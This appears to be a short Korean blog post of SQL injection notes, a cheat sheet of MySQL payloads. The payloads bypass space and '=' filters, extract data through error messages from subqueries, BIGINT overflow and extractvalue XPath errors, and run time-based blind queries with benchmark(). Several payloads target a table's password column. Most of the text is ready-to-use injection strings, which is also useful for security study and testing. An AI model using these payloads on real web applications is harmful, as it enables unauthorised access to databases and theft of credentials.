1. 공백 우회
?id=(0)union(select(1),(2),group_concat(column_name),(4),(5)from(information_schema.columns))
2. = 우회
like, in, regexp 쓰면된다. regexp는 정규식 관련 연산자이다.
또한, if, strcmp를 이용하는 방법도 있다.
if(strcmp(substr(‘abc’,1,1),’a’),0,1)
3. 에러기반 SQLi
1) 일단 가장 기본
서브쿼리는 한 개의 행만 리턴해야 하는데, (select 1 union select 2)는 두 개의 행을 리턴하므로 에러를 뱉는다.
if(조건,1, (select 1 union select 2)) 일케하면, 조건이 거짓일 땐 에러발생이므로 조건에 따른 blind 가능
2) 0xfffffffffffff*0xfffffffffffff를 하면 int 범위를 초과하여 BIGINT UNSIGNED value is out of range 에러가 발생한다.
3) 오류메시지를 출력해줄 경우, xpath 오류 메시지를 이용하면 데이터를 뽑을 수 있다.
mysql에서 extractvalue 함수는 xml data 와 xpath 쿼리를 실행한다. 사용법은 다음과 같다.
ExtractValue([xmldata], [xpathquery])
여기서 xpath query 에 문법적 오류가 있으면 에러 메시지를 그대로 출력한다.
procedure analyse(extractvalue(1,concat(0x1,version( ))),1)
procedure analyse(extractvalue(1,concat(0x1, (select pw from table limit 1,1))),1)
4) 오류메시지가 안 나오나면, 시간기반 블라인드는
procedure analyse(extractvalue(1,concat(0x1,if((select mid(pw,1,1) from table limit 1 )='a', benchmark(4000000,sha('a')),0))),1)
'웹 > SQLi' 카테고리의 다른 글
from 절에서 Injection으로 데이터 추출 (0) | 2018.07.28 |
---|---|
SQLite에서 information_schema (0) | 2017.03.02 |
Quine을 이용한 인증 우회 (0) | 2017.01.20 |
SQL Injection 필터링 우회 (1) | 2017.01.08 |